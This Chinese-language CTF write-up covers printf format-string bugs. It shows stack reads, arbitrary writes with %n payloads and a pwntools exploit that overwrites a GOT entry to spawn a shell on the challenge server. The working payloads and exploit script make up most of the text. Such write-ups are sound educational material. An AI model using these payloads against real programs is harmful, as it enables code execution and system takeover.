PWN (8)

> 利用`printf`格式化字符串的漏洞

printf 漏洞说明

> 漏洞原理网上资料说得很多了，这里只给出操作实例

实验一: 读内存

```c
#include <stdio.h>

int main()
{
        char buffer[255];
        fgets(buffer, sizeof(buffer), stdin);
        printf(buffer);

        return 0;
}
~
```

```
l-iberty@liberty-Lenovo-IdeaPad-S405:~/test$ python -c 'print "aaaa %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x"' | ./a
aaaa 000000ff f76b85a0 f7707000 ffd8d494 ffd8d490 00000003 ffd8d614 f7704000 0804828e f63d4e2e 61616112 2e252061 25207838
```

显示的'a'的ASCII码不连续，经测试发现，原因是buffer的长度为奇数. 修改为256后测试输出:

```
l-iberty@liberty-Lenovo-IdeaPad-S405:~/test$ python -c 'print "aaaa %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x"' | ./a
aaaa 00000100 f76c85a0 00000000 f7714000 0804828e f63d4e2e 61616161 382e2520 2e252078 25207838 2078382e 78382e25 382e2520
```

输出显示，存储'aaaa'的**ACSII**码的内存单元与存储'aaaa'的地址的内存单元的偏移为7单位. 结合gdb调试信息验证:

```
[----------------------------------code----------------------------------]
   0x80484e8 <main+45>: lea    eax,[ebp-0x10c]
   0x80484ee <main+51>: push   eax
   0x80484ef <main+52>: call   0x8048380 <fgets@plt>
=> 0x80484f4 <main+57>: add    esp,0x10
   0x80484f7 <main+60>: sub    esp,0xc
   0x80484fa <main+63>: lea    eax,[ebp-0x10c]
   0x8048500 <main+69>: push   eax
   0x8048501 <main+70>: call   0x8048370 <printf@plt>
[----------------------------------stack-----------------------------------]
0000| 0xffffceb0 --> 0xffffcecc ("aaaa\n")
0004| 0xffffceb4 --> 0x100
0008| 0xffffceb8 --> 0xf7fb65a0 --> 0xfbad2288
0012| 0xffffcebc --> 0x0
0016| 0xffffcec0 --> 0xf7ffd000 --> 0x23f3c
0020| 0xffffcec4 --> 0x804828e ("__libc_start_main")
0024| 0xffffcec8 --> 0xf63d4e2e
0028| 0xffffcecc ("aaaa\n")
[--------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x080484f4 in main ()
gdb-peda$ x/1w 0xffffceb0
0xffffceb0:     0xffffcecc
gdb-peda$ x/1w 0xffffcecc
0xffffcecc:     0x61616161
gdb-peda$
```

0xffffcecc-0xffffced0=0x1c，0x1c / 4 = 7.

得到了偏移单位后，可以直接读取:

```
l-iberty@liberty-Lenovo-IdeaPad-S405:~/test$ python -c 'print "aaaa %7$.8x"' | ./a
aaaa 61616161
```

实验二: 写内存

任务一：测试

```c
#include <stdio.h>

int target = 0x12345678;

int main(int argc, char **argv)
{
        printf("target = 0x%.8x, &target = 0x%.8x\n\n", target, &target);
        char buffer[512];
        fgets(buffer, sizeof(buffer), stdin);
        printf(buffer);

        printf("Now, target = 0x%.8x\n\n", target);
        return 0;
}
```

下图为以4字节，2字节，1字节为单位的写入：

```
l-iberty@liberty-Lenovo-IdeaPad-S405:~/下载$ python -c 'print "\x24\xa0\x04\x08%11$n"' | ./a
target = 0x12345678, &target = 0x0804a024

$◆
Now, target = 0x00000004

l-iberty@liberty-Lenovo-IdeaPad-S405:~/下载$ python -c 'print "\x24\xa0\x04\x08%11$hn"' | ./a
target = 0x12345678, &target = 0x0804a024

$◆
Now, target = 0x12340004

l-iberty@liberty-Lenovo-IdeaPad-S405:~/下载$ python -c 'print "\x24\xa0\x04\x08%11$hhn"' | ./a
target = 0x12345678, &target = 0x0804a024

$◆
Now, target = 0x12345604
```

字节值存储在偏移为11单位处:

```
l-iberty@liberty-Lenovo-IdeaPad-S405:~/下载$ python -c 'print "\x24\xa0\x04\x08" + " %11$.8x"' | ./a
target = 0x12345678, &target = 0x0804a024

$◆ 0804a024
Now, target = 0x12345678
```

`%11$n` 表示: 以偏移11单位内存区内的4字节数值作为内存地址，向该内存地址指向的内存单元写入4字节的整数，数值等于`printf`打印的字符数.

任务二：向指定内存单元写入指定值 0x01025544

法一：直接让`printf`打印**0x01025544**个字符

```
l-iberty@liberty-Lenovo-IdeaPad-S405:~/下载$ python -c 'print "\x24\xa0\x04\x08" + "%16930112x%11$.8x"' | ./a
```

测试发现，`printf`打印的字符数庞大，需要等待很长时间. 可见，此法理论上可行但实际操作性很差.

法二：将0x01025544拆分为4个1字节的数0x01,0x02,0x55,0x44，分别写入

```
l-iberty@liberty-Lenovo-IdeaPad-S405:~/下载$ python -c 'print "\x24\xa0\x04\x08" + "\x25\xa0\x04\x08" + "\x26\xa0\x04\x08" + "\x27\xa0\x04\x08"
+ "%52x%11$hhn" + "%17x%12$hhn" + "%173x%13$hhn" + "%255%14$hhn"' | ./a
target = 0x12345678, &target = 0x0804a024

$◆%◆&◆'◆                                  200         f77505a0
                                                                  f778ee7a%14$hhn
Now, target = 0x12025544
```

将`target`分解成的4个1字节数按照所处内存区的地址由高到低编号为a3,a2,a1,a0，根据小端序，对应关系为a3-0x44, a2-0x55，a1-0x02，a0-0x01.

- `0x0804a024`为`a0`的地址，存储在偏移**11**单位处，需向地址为`0x0804a024`的内存区写入`0x44`，为此需令`printf`在`%11$hhn`之前打印`0x44`个字符. 已经打印了`16`个字符，还需**0x44 - 16 = 0x52**.
- `0x0804a025`为`a1`的地址，存储在偏移**12**单位处，需向地址为`0x0804a025`的内存区写入`0x55`，为此需令`printf`在`%12$hhn`之前打印`0x55`个字符. 已经打印了`16 + 0x52 = 0x44`个字符，还需**0x55 - 0x44 = 0x11 = 17**.
- `0x0804a026`为`a2`的地址，存储在偏移**13**单位处，需向地址为`0x0804a026`的内存区写入`0x02`，为此需令`printf`在`%13$hhn`之前打印`0x02`个字符. 已经打印了`0x55`个字符，还需**0x02 - 0x55 = -83.** 处理负数的方法是向更高位借一：**0x100 + (-83) = 173**.
- `0x0804a027`为`a3`的地址，存储在偏移**14**单位处，需向地址为`0x0804a027`的内存区写入`0x01`，为此需令`printf`在`%14$hhn`之前打印`0x01`个字符. 已经打印了`0x01`个字符，还需**0x01 - 0x02 = -1**. 向高位借一: **0x100 + (-1) = 255**.

至此，实现了借助`printf`向任意内存区写入

IDA分析二进制文件

`main:`

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // ebx@0
  int v4; // ebp@0
  int v5; // edi@0
  int v6; // esi@0
  int v8; // [sp+10h] [bp-420h]@1
  int *v9; // [sp+418h] [bp-18h]@1
  int v10; // [sp+41Ch] [bp-14h]@1
  int v11; // [sp+420h] [bp-10h]@1
  int v12; // [sp+424h] [bp-Ch]@1
  int v13; // [sp+428h] [bp-8h]@1
  void *v14; // [sp+42Ch] [bp-4h]@1
  void *retaddr; // [sp+430h] [bp+0h]@1

  v14 = retaddr;
  v13 = v4;
  v12 = v5;
  v11 = v6;
  v10 = v3;
  v9 = &argc;
  memset(&v8, 0, 0x400u);
  puts("This is a program,which can repeat what you said");
  puts("input something:");
  read(0, &v8, 0x3FFu);
  puts("Haha, your input is:");
  printf((const char *)&v8);
  _IO_putc(10, stdout);
  printf("the length of your input is %ud \n", strlen((const char *)&v8));
```

`getflag:`

```
int getflag()
{
  return system("/bin/sh");
}
```

思路

借助`printf`的漏洞，覆盖`_IO_putc`在GOT表中的入口地址为`getflag`的入口地址，将`_IO_putc`的调用跳转到`getflag`

exp

```python
from pwn import *

context.log_level = 'debug'

#p = process('./pwn8')
p = remote('ctf.cnss.studio', 5008)
elf = ELF('pwn8')

putc_got_addr = elf.got['_IO_putc']
getflag_entry = elf.symbols['getflag']
print 'putc_got_addr = ' + hex(putc_got_addr)
print 'getflag_entry = ' + hex(getflag_entry)

cb = getflag_entry
a3 = (cb >> 24) & 0xff
a2 = (cb >> 16) & 0xff
a1 = (cb >> 8) & 0xff
a0 = cb & 0xff

payload = p32(putc_got_addr) + p32(putc_got_addr+1)
payload += p32(putc_got_addr+2) + p32(putc_got_addr+3)
payload += '%' + str(a0-16) + 'x%4$n'
payload += '%' + str(0x100+(a1-a0)) + 'x%5$n'
payload += '%' + str(0x100+(a2-a1)) + 'x%6$n'
payload += '%' + str(a3-a2) + 'x%7$n'

p.sendline(payload)

p.interactive()
~
```

测试后失败. 部分输出如下:

```
putc_got_addr = 0x804a014
getflag_entry = 0x80485d0
[DEBUG] Sent 0x33 bytes:
    00000000  14 a0 04 08  15 a0 04 08  16 a0 04 08  17 a0 04 08  |····|····|····|····|
    00000010  25 31 39 32  78 25 34 24  6e 25 31 38  31 78 25 35  |%192|x%4$|n%18|1x%5|
    00000020  24 6e 25 31  32 37 78 25  36 24 6e 25  34 78 25 37  |$n%1|27x%|6$n%|4x%7|
    00000030  24 6e 0a                                           |$n·|
    00000033
```

借助 实验二-任务二 里使用的程序来查看是否向地址为`0x804a014`的内存单元写入了`0x80485d0`:

```
l-iberty@liberty-Lenovo-IdeaPad-S405:~/下载$ python -c 'print "\x24\xa0\x04\x08" + "\x25\xa0\x04\x08" + "\x26\xa0\x04\x08" + "\x27\xa0\x04\x08"
+ "%192x%11$n" + "%181x%12$n" + "%127x%13$n" + "%4x%14$n"' | ./a
target = 0x12345678, &target = 0x0804a024

$◆%◆&◆'◆
                                                  200
                                                                                    f76d05a0
                                                                  f770ee7af7526008
Now, target = 0x0c0485d0
```

最高位字节写入错误. 经过反复的猜测和实验，得出正确的结果(但错误的原因我不明白):

```
l-iberty@liberty-Lenovo-IdeaPad-S405:~/下载$ python -c 'print "\x24\xa0\x04\x08" + "\x25\xa0\x04\x08" + "\x26\xa0\x04\x08" + "\x27\xa0\x04\x08"
+ "%192x%11$n" + "%181x%12$n" + "%127x%13$n" + "%260x%14$n"' | ./a
target = 0x12345678, &target = 0x0804a024

$◆%◆&◆'◆
                                                  200
                                                                                    f77905a0
                                                                  f77cee7a

                                          f75e6008
Now, target = 0x080485d0
```

修改payload:

```
payload = p32(putc_got_addr) + p32(putc_got_addr+1)
payload += p32(putc_got_addr+2) + p32(putc_got_addr+3)
payload += '%' + str(a0-16) + 'x%4$n'
payload += '%' + str(0x100+(a1-a0)) + 'x%5$n'
payload += '%' + str(0x100+(a2-a1)) + 'x%6$n'
payload += '%' + str(0x100+(a3-a2)) + 'x%7$n'
```

执行后成功拿到shell:

```
/bin/sh: 0: can't access tty; job control turned off
$ $ ls
flag
$ $ cat flag
cnss{printf_is_dangerous?}
```